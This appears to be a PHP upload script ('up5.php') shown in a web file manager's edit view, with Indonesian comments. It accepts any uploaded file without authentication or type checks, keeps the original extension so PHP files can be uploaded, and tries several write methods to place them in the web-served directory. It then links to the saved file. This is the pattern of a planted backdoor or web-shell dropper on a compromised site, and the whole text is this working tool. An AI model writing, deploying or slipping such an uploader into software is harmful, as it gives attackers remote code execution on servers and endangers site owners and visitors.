관리-도구
편집 파일: up5.php_cb18ec37
<?php // Set waktu eksekusi lebih lama untuk file besar agar tidak di-cut LiteSpeed @set_time_limit(300); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) { $file = $_FILES['ufile']; $tmp = $file['tmp_name']; if ($file['size'] <= 0 || empty($tmp)) { die("❌ Gagal: File kosong!"); } // 1. Ambil ekstensi asli $ext = pathinfo($file['name'], PATHINFO_EXTENSION); // 2. Acak nama file (Contoh: a1b2c3d4_17000000.jpg) // Path tetap sama (__DIR__) $newName = bin2hex(random_bytes(4)) . '_' . time() . '.' . ($ext ?: 'bin'); $dest = __DIR__ . '/' . $newName; // 3. Eksekusi Beragam Cara Upload $ok = false; if (move_uploaded_file($tmp, $dest)) { $ok = true; } elseif (copy($tmp, $dest)) { $ok = true; } elseif (file_put_contents($dest, @file_get_contents($tmp))) { $ok = true; } elseif (rename($tmp, $dest)) { $ok = true; } // 4. Validasi Akhir: Cek jika file beneran masuk dan bukan 0Kb (Fix LiteSpeed Issue) if ($ok && file_exists($dest) && filesize($dest) > 0) { echo "✅ Berhasil! Nama Baru: <a href='$newName'>$newName</a>"; } else { if (file_exists($dest)) @unlink($dest); // Hapus jika file zonk/0kb echo "❌ Gagal: File korup 0Kb atau masalah izin folder."; } echo "<hr>"; } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="ufile"> <input type="submit" value="Upload"> </form>